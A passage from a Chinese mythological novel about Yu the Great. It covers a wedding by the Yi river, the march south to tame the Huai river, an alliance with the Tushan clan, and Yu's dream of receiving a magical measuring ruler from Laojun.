他一手死死搂住儿子,仿佛那是他在绝望深渊中抓住的唯一浮木,另一只手则更用力地环抱住冰冷的石妻,将脸深深埋入那再无知觉的臂弯。这个能疏导江河、划分九州的英雄,此刻却被命运的洪流冲垮了心防,在妻“亡”子存的现实面前,溃不成军。 女娇化石,永镇轘辕山口,守望伊洛。 此后的日子,营地被一层沉重的静默笼罩。禹将无尽的悲痛强行压下,以近乎自虐的专注投入到后续工程中。他亲自将幼子启托付给阳城忠诚的族人抚养,只在夜深人静时,才敢拿出儿子留下的一件小小衣物,久久凝视。他比任何时候都更理解“疏导”的真意——不仅是疏导洪水,更是疏导痛苦,疏导命运。女娇的牺牲,如同这轘辕山,永远矗立在他生命的河道中,既是永恒的伤痛,也是不灭的航标。 在禹沉默而坚韧的引领下,洛水与伊水的疏导工程终于接近尾声。肆虐的洪水被纳入规整的河道,曾经泛滥的平原开始显露出复苏的迹象。当最后一段堤岸合龙,河水驯服地沿着新辟的河道奔流而去时,一股难以言喻的复杂情绪在众人心中弥漫——有成功的欣慰,更有对逝去同伴的深切缅怀,以及劫后余生的唏嘘。 时值深冬,伊水之畔,蒹葭枯黄的茎秆披着霜雪矗立冰面,残留的灰褐色穗轴在夕阳下随风轻颤,褪去锋芒的絮丝折射着余晖的暖金。在这治水功成的宁静背景下,巫盼 与辛夷缓步其中,积雪在他们脚下发出细微的咯吱声。 经历生死,目睹牺牲,让活着的人更懂得珍惜眼前。巫盼停下脚步,望向辛夷,声音沉稳而温和,却比以往多了几分不易察觉的柔软:“这些年来,我独自跋山涉水,采药疗伤,心如这冬日旷野。自你来到平水土之师,与我一同辨识百草,一同守护伤患……你的身影,便如这芦苇扎根水畔,悄无声息地,落在了我心里。” 他轻轻拂开一丛蒹葭,继续道:“这次重伤,全赖你悉心照顾。如今伤将痊愈,洛水亦平,我才恍然发觉,自己竟已习惯了有你在身旁的这份安稳。” 他的语气里带着历经沧桑、看淡生死后的珍重,“辛夷,往后的路,或许依旧漫长艰险,你……可愿意,与我相伴相守?” 辛夷没有立即回答,而是伸手摘下一节霜雪半覆的蒹葭空茎,剥去枯鞘,露出内里柔韧洁白的纤丝,郑重地递向巫盼,声音虽轻却无比坚定:“我愿意。” 这时,前来寻他们的禹和伯益恰好目睹此景。伯益先撑着笑意走上前,故意晃了晃脚下的积雪:“哎哟,方才你们说的那些贴心话,我和司空可没刻意偷听,偏偏风吹着全飘进耳朵里了!” 禹跟着踏碎薄冰,朗笑声撞得蒹葭上的雪沫簌簌落:“偷听什么!这是喜事儿!如今洛水疏导工程已近尾声,大家也得些空闲,二位本就两情相悦,不如趁这热乎劲把婚事办了——我看明日天朗气清,无风雪叨扰,便是再好不过的吉日!” 说罢又看向巫盼与辛夷,语气添了几分郑重,“伊水为证,蒹葭为媒,这桩美事,咱们平水土之师上下都该帮着张罗!” 婚礼在次日傍晚举行。篝火在河畔空地燃起,火光跃动,映着众人饱经风霜却洋溢着暖意的脸庞。 禹率先举起盛满清水的陶瓮,声如洪钟:“巫盼为岳卫巫祝,辛夷为雍梁药人,皆是我平水土之师的栋梁。今日二心相合,恰如水土相济,万物滋生。愿尔等同心同德,如伊洛之水,奔流不息!”清水被他缓缓倾洒于地,敬谢山川。 岳盾紧接着起身,这位与巫盼并肩多年的岳率,用力拍了拍巫盼的臂膀,目光扫过众人:“巫盼兄弟,从岳卫到今日,你我一同经历生死。辛夷姑娘,是好样的!往后,你二人便是这治水大军里又一对磐石根基,要稳稳当当的!”他的话引来岳卫锐士们一片叫好,有人高喊:“岳率说得对!大巫,成了家,更要带着我们往前冲啊!” 巫盼笑道:“别叫我大巫啦!叫我巫盼!” 在众人的起哄声中,几名年轻的岳卫锐士互相挤眉弄眼,用胳膊肘撞着身边的同伴,嚷嚷着:“下一个该轮到谁了?阿山,你不是老瞅着人家送干粮的姑娘?”“胡说!我看是你小子夜里总念叨着要娶个会唱山歌的!” 笑声未平,羌笛已吹响那支祖传的白骨短笛,笛声清越悠扬。伯益击节而和,领着众人唱起他刚编就的祝婚歌谣: “枯葭覆霜,寒梢缀光。 伊水之畔,盟誓成双。 薪火相承,黍稷同芳。 凿石通渠,导洪入江。 夫妇同心,家业共襄。 平水土兮,福泽绵长。” 伯益的歌声在暮色中回荡。凤鸟站在一旁,痴痴地看着他。二人目光相遇,会心一笑。 雍梁子弟围坐一处,姜石默默将一根新削的木簪递给辛夷作贺礼,巴瑶则大声祝福,笑声爽朗,她是雍梁六子中唯一未嫁的女子了。 弃看着辛夷身着新衣的模样,不禁瞥向正在帮忙分派黍饼的女儿百草,低声笑道:“百草啊,你看辛夷,多好。咱们族里心灵手巧的姑娘,也该有个好归宿了。”百草面颊微红,嗔怪地看了父亲一眼,低头忙活去了。 仪式高潮,巫盼与辛夷共执一束象征坚韧与纯洁的蒹葭,相对躬身行礼。随后,他们共同将一瓮取自伊洛的清水分斟两半,一饮而尽,寓意血脉相通,甘苦与共。巫盼与辛夷双手紧握。对他们而言,这并非年少激情的盟誓,而是如同草药相伍、彼此疗愈的相伴之约。 砺望着这一幕,轻轻揽住身旁的羲青,羲青将头靠在他肩上,眼底的欣慰里裹着对寻常安稳的软暖憧憬。治水的路还长,脚下的黄土仍要一步步踏过,奔涌的江河仍需一渠一渠疏导,可日子从不是只装着艰劳 —— 这热络的爱、相守的暖,本就是生活该有的模样。纵是前路千般难,这在黄土与江河间悄悄扎了根的情感,终会牵着生命的脉络,一程程绵延下去,从未断绝。 然而,即使在这样喜庆的时刻,禹、羲青、皋陶、伯益等极少数核心成员的心中,仍有一丝隐忧。共工残魂,那场浩劫的始作俑者,为何至今未曾真正出手?它蛰伏于何处? 羲青曾尝试以墨玉星盘推演,却只感到一片深沉的、混杂着无尽怨念与水汽的混沌,盘面上代表共工之力的“天河裂痕”异常活跃却混乱不堪,难以定位。她推测,共工残魂可能在当年撞毁不周山后,自身也受重创,或与某种强大的水底存在相互纠缠、利用,尚在积蓄力量,或等待更佳的时机。它的沉默,或许意味着更大的风暴还在后头。 月色西沉时,禹独自登上堤岸,眺望着被他重新梳理过的山河。他知道,真正的挑战还未到来,但他心中充满了前所未有的决心。 13. 第13章:淮水惊涛 舜摄政十一年,禹治水第九载,冬。 伊洛之水既导,豫州腹地水患初平。平水土之师驻跸于洛水之滨的新营,虽征尘未洗,篝火旁已弥漫着下一段征程的紧迫。河工营大帐内,火光跃动,映照着悬挂于木架之上、由数十片钻孔陶牌串联而成的巨幅九州舆图。这些陶牌大小不一,边缘钻孔以皮绳串联,既可整体悬挂观其全貌,亦可分拆携带,研习局部。陶牌之上,以矿物颜料勾勒出山川起伏,朱砂标注水系奔流,炭黑点出部落聚居,自有一股古朴坚实的意味,更兼不怕水火,便于跋涉。 这凝聚了当前天下地理认知精华的陶牌舆图,其诞生过程殊为不易。它是在伏羲玉简奠定天地框架、河图洛书揭示九州序位、《鲧工记》提供经验教训、九河女神所赠水玉简厘清天下水脉详情,以及羲青早年遍历山川绘就的《水经》之基础上,由伯益总其大成。伯益身为虞官,不仅深谙鸟兽草木习性,更对山川地理的走向、物产的分布有着超凡的直觉与归纳能力。他日以继夜,将各方信息反复比对、勘误,将其精髓提炼,再由羲青以青铜锥笔精心刻绘于预先烧制好的陶牌之上,她的星盘则时常用来校准方位。每一片陶牌的诞生,都伴随着无数次的讨论与修改。 此刻,禹身着灰白葛衣,望着新绘的《九州舆图》。皋陶、弃、伯益、羲青、岳盾、巫盼诸人肃立四周。 禹的手指掠过代表豫州的陶牌,最终重重敲在串联展示淮水流域的那几片上,自桐柏山一路划向龟山,声音沉毅如金:“伊洛虽平,天下未安。据伯益整合各方信息,辅以诸般神器所示,淮水、泗水之患,尤烈于前!其上游桐柏山至下游龟山一段,”他的指尖在那用曲折线条表示的河道上反复点了点,“河道迂曲盘亘,素有‘七十二道山河归正阳’之称,水情之诡谲莫测,远超寻常。伯益,你将探查所得,详述于众。” 伯益应声上前,虽面容憔悴,但谈及本职,眼神立刻变得清明锐利。他指着那几片关键陶牌上的刻痕,条分缕析:“司空,诸位。此段河道之险,有三。其一,地势使然。桐柏山余脉延伸,与东部平原交错,天然形成多处瓶颈隘口,水流至此,被迫迂回盘旋,动能积聚,极易破堤漫溢。其二,水文复杂。水玉简显示,此处地下伏流与地上明河交织如乱麻,水脉灵机混乱不堪,漩涡、暗礁遍布,舟楫难行,更兼河床因历年泥沙堆积,淤塞尤甚。其三,”他顿了顿,声音压低,带着一丝凝重,“亦是至关重要的一点,沿岸部落皆言,有水神‘无支祁’盘踞,状若猿猴,力逾九象,能兴风作浪,操控水势。其巢穴疑在桐柏山主峰之下,一处名为‘淮源之井’的古老深渊。此獠不仅自身强横,更似能蛊惑部分部落人心,使其敌视外来者,于我等治水,乃是无形之障,或有肘腋之患。” 皋陶闻言,肃然道:“精怪之患,往往因势而生。水道不通,民生困苦,则邪祟易张,人心易惑。我辈治水,即是正本清源。然对于此等公然阻挠、祸害生灵、淆乱秩序者,律法亦不容情,当查明实情,若确系元凶,则需以雷霆手段制之,以儆效尤,安定人心。” 砺更关心实际的工程难题:“此类险峻河道,施工难度极大。民夫易生畏惧,若再有精怪搅扰,或是被蛊惑的部落袭击,恐进度迟缓,伤亡亦难避免。需有周全之策,既能保障施工安全、鼓舞士气,亦要预留应对那不测之险的余力。” 这时,一直凝神倾听的羲青轻轻吸了一口气。她怀中的墨玉星盘上,那道代表昔日天河水厄源头的灼痕与细微裂纹,在伯益详尽描述淮水险况、尤其提及“无支祁”与“淮井”时,竟隐隐传来一丝极其微弱、却让她心神不宁的熟悉悸动。这感觉,与她以往记录黄河水脉时的混乱磅礴截然不同,更像是一种沉寂已久、带着冰冷与狂躁的恶意被悄然触动,与她星盘内残留的“天河记忆”产生了某种危险的共鸣。她抬起头,声音带着一丝不易察觉的紧绷:“司空,伯益兄所言甚是。我观星盘气机,此地水脉紊乱之中,确有一股异常暴戾、古老之力潜伏,与……与星盘所载天河旧厄的痕迹,似有某种遥远而隐晦的关联。星盘受旧创所限,难以精确定位其源,但此感应绝非空穴来风,我等不可不防,或许……此番治淮,比我们预想的更为艰险。” 禹的目光缓缓扫过陶牌舆图上淮水那令人心悸的蜿蜒曲线,仿佛能透过这些刻痕,看到那浊浪排空、怪影幢幢的险境。他深吸一口气,目光变得无比锐利,决然道:“淮泗之患,关乎东南半壁安宁,势在必行!伯益舆图,已指明方向;诸位所言,已剖析利害。精怪虽凶,岂能阻我平水土之志?人心虽杂,焉可挡天下思安之潮?纵有千难万险,我等亦当一往无前!”他环视众人,声音斩钉截铁,“传令下去,休整三日,拔营南下,兵发桐柏山!皋陶,你负责先行联络沿途部落,宣示王化,陈说利害,争取助力,对冥顽者亦需心中有数;砺,全力整备工程物资,研讨险段施工之法,务求高效稳妥;岳盾,加强营地警戒与行军护卫,以防不测;伯益、羲青,你二人继续深化勘探,务必设法摸清‘七十二道弯’详情与无支祁虚实!” “领命!”众人齐声应诺。 冬末春初,寒意未消,队伍再次开拔,旌旗南指。行军月余,月余行军,地貌悄然转变。山势秀奇,水网稠密,空气中浸润着南方特有的温润。沿途部落民众眼中交织着好奇、审视与警惕。 抵达涂山势力范围时,时节已入仲春。禹命大队扎营,只带皋陶、伯益、砺及一队岳卫,轻车简从前往涂山氏核心聚居地。与以往治理黄河支流不同,此番南下,意味着治水大业真正突破了夏后氏与诸羌活动的核心区域,进入了淮夷、涂山氏乃至更南方部落的世居之地。这不仅是一场与洪水的搏斗,更是一次跨越族裔藩篱、凝聚四方之力的远征。 行军途中,禹特意召来了皋陶、伯益与弃。篝火旁,他摊开淮水部分舆图,神色凝重:“淮泗之地,水系庞杂,部落星罗。我等人地生疏,若不能得其民心,获其助力,则治水之事,寸步难行。皋陶,你素掌刑名,明于理法,更兼东夷出身,与淮夷诸部或有渊源,联络东方诸部之责,你需多费心。” 皋陶肃然颔首:“司空放心。律法之基,在于公平,治水之利,在于共荣。我当以理服人,以利动人,必使东方诸部知我辈非为征服,乃为共生。” 禹又看向伯益。自凤鸟逝后,伯益虽依旧尽职尽责,但那份年轻的朝气仿佛被抽离了许多,只有在专注于记录山川物产时,才稍见往日神采。“伯益,南下途中,你记录物产、勘测水脉之余,亦需留意各部习俗,以便我等入境问俗,避免冲突。” 伯益道:“益必尽心竭力,详加探访。” 最后,禹对弃言道:“弃,你掌管后勤,粮秣物资乃大军命脉。此番南下,路途遥远,补给线长,且需与陌生部落交易,务必谨慎周全,公平交易,勿使当地民众受损,亦勿使我军断炊。” 弃沉稳应道:“司空所虑极是。弃已命人多方筹措,并携中原粟米、葛麻、粗盐与陶器,以备交换。定保粮道无虞。” 禹目光扫过三位重臣,语气深沉:“我等此行,非止治水,亦是播撒王化,凝聚诸夏。女娇乃涂山氏之女,皋陶、伯益亦出身东夷,此皆天意,助我联合四方。望诸位同心协力,使治水之业,成于万民之手。”提及女娇,他心头一阵刺痛,那尊守望在轘辕山口的石像,是他心底永不愈合的伤。还有远在阳城的启,不知又长高了多少,可还认得他这个父亲?这些思绪,他只能深深埋藏,在无人看到的深夜,才敢任其啃噬心扉。 部署已定,大军迤逦南行。时值冬末,寒意尚劲,队伍携带着必要的物资与工具,依靠人力与少量驮马,沿着依稀可辨的古老路径,跋涉在逐渐变化的山水之间。越过高耸的嵩山余脉,渡过因春汛而略显汹涌的颍水,地貌悄然转变。山势愈发秀奇灵毓,水网愈发稠密交织,空气中也褪去了黄河沿岸的干烈,浸润着南方特有的温润潮湿。沿途所见部落,其民风习俗、衣冠器物乃至耕作方式(多见水稻田畴),与中原腹地迥异,对于这支规模浩大、自北方而来的平水土之师,民众眼中交织着好奇、审视与天然的警惕。 如此昼行夜宿,历时近一月,待队伍前锋望见涂山氏那标志性的、萦绕着淡淡云雾的连绵山影时,时节已入仲春,草木葱茏,生机勃发。 禹命大队在涂山势力范围边缘一处水源充足的高地扎营,建立稳固的前进基地。他并未急于让大军深入,只带了皋陶、伯益、砺以及一队精锐岳卫作为护卫,轻车简从,前往涂山氏的核心聚居地。此行目的明确:借助与涂山氏的旧谊与合作关系,为下一步深入淮水、乃至联合更广泛的东夷、淮夷部落,打开至关重要的通道。 在涂山氏族地中心,那座以粗大竹木为骨、厚重茅草覆顶,象征着部落权力与祭祀中心的大屋中,禹再次见到了涂山翳。 与数年前在黄河边初遇时相比,涂山翳眉宇间添了几分沉郁与沧桑,身形依旧矫健,目光锐利如昔,只是那锐利之中,如今沉淀了更多复杂难言的情绪。他身着主祭礼服,腰间的“星垣玉魄”碎片温润依旧,但当他看到禹一行人步入时,那玉魄似乎只是极其微弱地闪烁了一下,再无昔日黄河畔那强烈的共鸣。 “司空,别来无恙。”涂山翳的声音平稳,带着一族主祭应有的礼节,却也失去了几分旧日的热络。他抬手示意禹等人入座,目光在禹脸上停留片刻,那里面有关切,有审视,更有一种极力压抑的、源自至亲罹难的沉痛。“自轘辕山消息传来,我族中上下,无不悲恸。女娇她……是我涂山氏最耀眼的明珠,亦是我这兄长未曾护佑周全的憾痛。”他话语沉重,每一个字都仿佛带着重量,“她最终选择化石守望,其志可敬,其情可悯。只是……”他顿了顿,终是直视着禹,问出了那个萦绕心头已久的问题,“司空,今日你领军至此,于我涂山氏而言,你究竟是以平定淮水、总领天下的司空身份而来,还是以我涂山氏的女婿、女娇托付终身的夫君身份而来?” 这一问,直接而尖锐,道尽了他作为兄长失去妹妹的悲伤,也包含了对禹身份认同的考量,更是对双方未来关系定位的试探。帐内气氛,瞬间因这直指核心的问话而变得凝重起来。 禹心中一痛,面上却沉静如水,他起身,对着涂山翳郑重一礼:“翳兄,于公,禹受命于舜帝,平治水土,解万民倒悬,今日特为淮泗水患而来,欲借重涂山氏之力,共襄盛举。于私……”他声音低沉下去,带着难以掩饰的哀伤与愧疚,“禹永感女娇之情义,轘辕山一别,天人永隔,此心之痛,刻骨铭心,日夜不敢或忘。启儿亦流着我与女娇之血脉,乃我骨血至亲。无论公私,禹皆视涂山氏为亲人盟友。未能护女娇周全,禹之过也,翳兄若有责难,禹一力承担。” 禹的坦诚、哀恸与担当,稍稍化解了涂山翳眉宇间的怨气。他沉默片刻,长叹一声:“罢了……小妹选择化石守望,是她自己的决绝,亦是她对你的情义。她既认定了你,我涂山氏……便不会与你为难。”他请禹重新落座,神色复杂,“既是一家人,便不说两家话。淮水之患,我涂山氏深受其苦,尤其桐柏山至龟山一段,河道九曲回肠,水怪作乱,舟楫难通,沿岸部落,苦不堪言。只是……”他话锋一转,面色凝重,“淮水不比黄河,其性更疾,其怪更凶,尤以那水神无支祁为甚。此獠状若猿猴,力大无穷,能兴风作浪,翻江倒海,更能言善辩,蛊惑人心,本地部落畏之如神,年年以童男童女祭祀,犹不能免其祸。司空欲治淮水,此獠乃首恶,不知有何良策?” 一旁皋陶适时开口,声音沉稳有力:“涂山伯翳,所谓水神作乱,多因水道不通,地气郁结,民生怨望,方使精怪得以借势。司空之法,在于疏导,使水归其道,气顺其流,民安其业。水患既平,则‘怪’自失其根基。至于那无支祁,若真阻挠治水,祸害生灵,依律当擒而制之,以正天地秩序,解民倒悬。” 伯益补充道:“我一路南来,观察淮水支流水文,其暴涨暴落,与桐柏山特殊地形及暴雨集中密切相关。那无支祁能掀起巨浪,想必是借助了某些特殊的水文节点和河道天然缺陷。若能勘明其巢穴所在与活动规律,或可设法应对,未必需要正面死斗。” 涂山翳听着二人之言,沉吟良久,方道:“诸位所言,确有道理。那无支祁常出没于桐柏山深处,淮水源头至龟山一带,河道最为险恶,漩涡密布,暗礁丛生,人迹罕至。我族中勇士曾多次试图探查,皆伤亡惨重而返。此怪不仅力大,更擅蛊惑,曾有不少部落被其许诺风调雨顺所诱,甘心供奉,甚至敌视外来者。若司空决心已定,我涂山氏愿为前导,并提供熟悉山情的向导,并联络相熟的、未曾被无支祁蛊惑的淮夷部落,共同支持司空。但有一点,降服无支祁,非比寻常,需有万全准备,否则徒增伤亡,甚至可能引发依附于无支祁的部落叛乱。” 禹见涂山翳态度转变,心中稍定,肃然道:“有翳兄此言,禹感激不尽。治水大事,确需群策群力。请翳兄代为联络各方,禹愿与各部首领会盟,共商治淮大计。至于无支祁及其党羽……”他眼中闪过一丝决然,“我自有计较。” 在涂山翳凭借其影响力与威望积极斡旋下,数日后,一场关乎淮水未来乃至东南格局的会盟,于涂山脚下预先清理出的开阔地上举行。与会者除了涂山氏,还包括了羽夷部、玄夷部、阳夷部等周边数个举足轻重的淮夷大部族首领及其长老。气氛庄重而隐含着审视。 禹立于临时搭建的盟台之上,身姿挺拔,目光扫过台下各色面孔,沉稳开口:“诸伯,列君,暨耆老。”声音不高,却清晰地传入每个人耳中,“禹此番南下,非为一己之私,亦非仅率一族之兵。吾乃奉舜明命,承天应人,总理天下水土之事。舜有言:‘汝平水土,维是勉之。’遂授神農石耜,可引九幽地火以裂山导川;赐颛顼玄圭,能通洪荒百族之言以和万邦。并许以便宜行事之权,凡涉水土治理、民生安定之事,皆可权宜处置,以期功成。” 禹的坦诚、皋陶的公正、伯益的博学、弃的务实,逐渐赢得了大部分淮夷部落的信任。加之涂山氏全力支持,会盟最终达成一致,多数部落愿出青壮助役,提供粮草物资,并共享所有关于淮水,特别是关于无支祁的情报。 然而,并非所有部落都心甘情愿。以玄夷部为首的几个部落,态度暧昧,其首领玄伯甚至在会盟上直言:“无支祁大神乃淮水之主,掌控风雨,我等供奉已久,方得苟全。尔等北人,妄言治水,若触怒大神,降下灾祸,谁人来担?”虽经皋陶严词驳斥与涂山翳劝说,玄伯表面应承,但其眼中闪烁的不服与贪婪,却被岳盾等锐士看在眼里。 盟约既成,平水土之师依禹之命,在桐柏山区域外围扎下稳固大营。禹深知“知彼知己,百战不殆”之理,治水尤是如此。他下令,首要之务乃是详勘。 翌日,禹亲率伯益、羲青、砺、岳盾及一队精锐岳卫,并涂山氏派来的熟悉山情水性的老向导峤循,深入桐柏山腹地,直指那令人闻之色变的“七十二道弯”。涂山翳亦派了数名本族勇士同行,以示支持,其中便有以勇力著称的花虎。 越往深处,山势愈发险峻,古木参天,藤萝密布。空气中弥漫着潮湿的水汽与草木腐殖的混合气息。未及河道,已闻水声如雷,轰鸣不绝,震得人心头发慌。待到穿过一片密林,眼前豁然开朗,众人无不倒吸一口凉气。 但见两岸峭壁如刀削斧劈,紧紧夹峙着一条浑浊湍急的河流。河道在此处被扭曲成不可思议的弧度,水流不是平顺流淌,而是疯狂地旋转、撞击、回流,形成无数个大小不一的漩涡。大的如同巨兽之口,幽深黑暗,仿佛能吞噬一切;小的则如沸汤,翻滚着白沫。礁石嶙峋,怪木斜插,水色不是黄河的浊黄,而是一种令人心悸的深碧,望之如窥深渊。水声不再是单一的轰鸣,而是夹杂着尖锐的呼啸、沉闷的撞击,以及一种若有若无、似猿啼又似金铁摩擦的异响,钻入耳膜,搅得人心神不宁。 “这便是‘鬼见愁’弯,七十二道弯里最险的几处之一。”老向导峤循声音发颤,指着最大的一处漩涡,“去年,我族三个最好的水手,连人带筏子,眨眼就没了踪影。” 禹面色凝重,不言不语,目光如炬般扫视着河道。他注意到,有些区域的河水看似平静,水下却暗流汹涌;有些地方水面有明显的凹陷,仿佛水下有巨大的吸力。 “司空,此地水脉之乱,远超预期。”伯益蹲下身,抓起一把湿泥,又看向奔腾的河水,“仅凭肉眼与寻常工具,难以测其深浅,更遑论摸清暗流礁石分布。” “必须近前观测!”禹断然道,解下身上厚重的葛衣,只着短褐。 “司空不可!”岳盾急忙阻拦,“水势太恶!” “我若不亲身体验,如何知其险恶?如何制定方略?”禹语气平静,却不容置疑。他命人取来长绳,一端牢牢系于岸边巨树,一端捆在自己腰间。“泽虎、飞猿,你二人负责牵引绳索。石牛,护住绳基。其余人戒备!” 说罢,他不顾众人劝阻,手持探水杆,一步步向河岸边缘走去。河水冰冷刺骨,激流冲击着他的小腿,力量之大,几乎要将他带倒。他稳住身形,将探水杆奋力插入水中,然而杆尖传来的触感混乱不堪,时而是坚硬的礁石,时而是柔软的淤泥,时而又被巨大的吸力拉扯,几乎脱手。 他试图再向前几步,测量一处漩涡边缘的水深。突然,一股潜流从侧方袭来,力道惊人!禹一个趔趄,探水杆脱手,瞬间被漩涡吞没。他本人也被水流带得向漩涡方向滑去! “司空!”岸上众人大惊失色。 泽虎、飞猿怒吼着拼命向后拉扯绳索。石牛如铁塔般稳住绳基,额角青筋暴起。禹在水中奋力挣扎,腰间的绳索绷得笔直。浑浊的河水呛入他的口鼻,冰冷与窒息感瞬间包围了他。就在他即将被卷入漩涡核心的千钧一发之际,绳索上的巨力将他猛地拉回了浅水区。 众人七手八脚将他拖上岸。禹剧烈地咳嗽着,脸色苍白,浑身湿透,狼狈不堪,但眼神却更加锐利。 “看到了吗?”他抹去脸上的水渍,对围上来的伯益、砺等人沉声道,“此地水势,非蛮力可制。暗流之诡,漩涡之险,非亲身经历难以想象。我们缺乏……缺乏一件能洞悉这水中阴阳、厘清这混乱水脉的神器!” 连续的奔波劳顿,加上此次遇险的惊悸与体力透支,以及面对天险束手无策的沉重压力,终于击垮了这位铁打的汉子。当夜,禹在营帐中发起了高烧,陷入昏厥。巫盼与辛夷虽竭力救治,也只能暂缓其势。 在昏沉与高热交织的梦境中,禹仿佛又回到了那狂暴的淮水边,浊浪如山,吞噬着他的子民。无尽的无力感如同冰冷的河水,浸透了他的灵魂。 就在意识即将沉沦之际,一点清辉自虚无中绽放,驱散了黑暗与寒冷。那清辉越来越亮,化作一位老者,鹤发童颜,眸蕴星辰,身着玄色道袍,手持玉麈,端坐于一匹神骏异常的板角青牛之上。青牛踏云而行,无声无息,周遭弥漫着清静无为、却又包罗万象的玄妙道韵。 “禹。”老者的声音不高,却如黄钟大吕,震彻禹的心神,“尔怀拯溺之心,肩平水土之任,其志可撼天地,其情可动鬼神。然,可知洪水何以滔天?” 禹于意念中回应:“愿请仙长指点。” “上善若水,水善利万物而不争。然阴阳失序,则水失其性。地脉壅塞,则水怒其威。”老者缓缓道,声音仿佛带着宇宙初开的回响,“今四海八荒,水脉紊乱,清浊混淆,阴阳失衡,故有这倾天之祸。尔等凡人,以骨耜测深浅,以目力观缓急,虽得伏羲定框架,获水玉辨流象,然未触及水之根本——那维系其存在、决定其形态的阴阳二气与灵机秩序。” 老者袖袍轻轻一拂,一道难以言喻的神光自其袖中飞出,悬浮于禹的面前。那光芒收敛,现出一柄长约三尺的尺子。它非金非铁,非玉非石,材质仿佛是凝固的混沌本身。尺身呈现出一种深邃的暗底色,仔细看去,内中有黑白二气如同活物,缓缓流转、相互追逐、相生相克,构成一幅微缩的、永恒运动的太极图景。尺面光滑如最深邃的夜空,其上有点点星辉明灭,似在阐述周天星斗与水脉的呼应;尺背则密布着无数细如蚊足、却又蕴含着磅礴力量的古老云篆雷文,这些符文并非死物,而是在不停地微微蠕动、重组,演绎着阴阳消长、乾坤度量的至高法则。尺子出现的瞬间,禹梦中那狂暴混乱的水意象竟奇异地平复下来,一种微妙而强大的力量场弥散开来,并非强行镇压,而是如同最高明的医者,在梳理、调和着一切躁动与失衡。 “此乃‘阴阳磁母尺’。”老者言道,每一个字都仿佛烙印在禹的灵魂深处,“昔者,混沌初开,清阳上升为天,浊阴下降为地。天地交泰之处,有一点先天阴阳母气遗留,此乃造化之根枢,万物之源流。吾采此母气,融九天星辰之光以定其阳、显其序,合九幽玄冥之精以固其阴、载其基,于八卦炉中,采三昧真火煅烧四九之数,方成此尺。” “其性通灵,已超器物。名‘磁母’,意为其性如磁石,能吸引、调和、厘定天下万水之根本阴阳气机,如同母亲梳理婴孩紊乱的经脉。”老者目光深邃如海,看着禹,“持此尺,非仅丈量有形之水深,更是洞悉无形之水文。水之清浊,可辨其源;流之缓急,可知其阻;漩涡之成,可察其下之气旋交冲;暗流之生,可明其底之阴阳失和。持尺者,需以心神与之相合,念动则尺应,可随心念变化长短,纵横江河湖海。掷之于水,尺身自生光耀刻度,显水位之数,更以黑白二气之盛衰,昭示水下阴阳灵机之状态。丈量既毕,心念召之,则尺自归,因其已认你为主,气机相连,除非你身死道消,或自愿割舍,否则纵隔万里,亦能感应回归。” 老者语气转为极其郑重:“今将此尺赠汝,助汝洞幽察微,导水归流。然,尺有所短,寸有所长。此尺虽能定水,亦需持尺者心怀天地,明辨是非。更须切记,”他凝视着禹的双眼,“水定之日,便是此铁尘缘已了,当归位九幽之渊,永镇乾坤水眼,平衡万世波涛之时。此乃天命,不可违也。” 言罢,老者与青牛的身影缓缓淡化,最终化作点点清辉,融入虚空。唯有那柄阴阳磁母尺,散发着温润而神秘的光华,静静地悬浮在禹的意念之中,与他产生了一种血脉相连般的紧密联系。 禹猛地睁开双眼,发现自己仍在营帐榻上,帐外天色微明。高烧已退,虽然身体依旧虚弱,但精神却前所未有的清明通透,脑海中关于阴阳磁母尺的一切信息清晰无比。他下意识地探手入怀,指尖立刻触到一件坚硬而温润、并且与自己心跳隐隐共鸣的物事——正是那柄神尺! “司空!您醒了!”守在榻边的皋陶、巫盼等人惊喜交加。 禹坐起身,不顾疲惫,将梦中遇老君、得赠神尺之事详细道来,并取出磁母尺示于众人。那尺子看似古朴无华,但其上流转的、仿佛蕴含生命律动的阴阳二气,以及它一出现便让帐内空气变得异常宁静平和的神奇力场,让所有见到它的人,包括见多识广的皋陶和巫盼,都心中凛然,明白此物乃是蕴含大道法则的无上神物。 伯益仔细观察磁母尺,又结合陶牌舆图与水玉简信息,眼中爆发出狂喜的光芒,声音都因激动而有些颤抖:“妙极!妙极啊司空!伏羲玉简定天地框架,如同人之骨骼;水玉简可察水流之表,如同观人之气色;而此阴阳磁母尺,竟能直探水脉之根本阴阳灵机,如同诊人之经脉气血!三者互补,方能真正‘洞悉’水患之根源!有了它,勘明淮水,尤其是下游入海口淤塞之核心症结,绝非难事!” 羲青亦以星盘感应,她那敏感的星盘在与磁母尺气机接触时,竟发出柔和悦鸣,她惊叹道:“尺中蕴含的先天阴阳秩序之力,纯粹而至高,正可调和、显化、甚至安抚此地混乱的水灵机。老君言其能‘丈量真容’,乃是直指本源之语!” 禹精神大振,强撑着病体,即刻召集所有核心僚属,包括涂山翳派来的代表,于大帐内议事。 大帐中央,几块拼接的巨大平整木板铺在地上,构成了临时的图板。上面用烧焦的木炭勾勒出蜿蜒的山势,赭石颜料描绘着淮水主道,“七十二道弯”的复杂河段被重点渲染。象征险滩、峭壁的石块被小心地放置在相应位置,几缕浸湿的深色草绳则标示出激流的漩涡与走向。 禹手持阴阳磁母尺,凝神屏息,沿着图上的河道缓步移动。这一次,他并未仅仅靠近,而是心念微动,尝试与尺沟通。只见尺身黑白光华应念而亮,他随手将尺子轻轻放在河图之上。惊人的一幕发生了:尺子仿佛活了过来,竟然自行在图上缓缓移动!它绕过那些表示平缓水流的区域,却在几个标记着险弯和漩涡的位置停留、嗡鸣,尺身的黑气在这些点位明显浓郁起来,甚至微微下压图面。 “诸位请看,”禹的声音带着一丝自己都未察觉的惊叹,“神尺自行感应图示气机,此几处不仅是地势险要,更是地脉郁结、阴寒水灵积聚、阴阳严重失衡之节点!这已非单纯水流湍急,而是有异物(他刻意避开‘无支祁’之名,以免动摇军心)借此地利,兴风作浪!” 他移动尺子,沿着淮水河道向下,直至入海口位置。当尺尖指向海口时,嗡鸣声变得尖锐,整个尺体剧烈颤动,黑白二气疯狂流转,几乎要脱手飞出!“而此处!”禹语气沉重,“入海之咽喉,阴阳二气几乎彻底隔绝!阳气(活水)不得出,阴气(淤塞死水)不得散,阻塞之严重,已形成恶性循环,远超我等此前任何预估!此乃痼疾之源,水无去路,岂能不在上游积聚狂悖之力?” 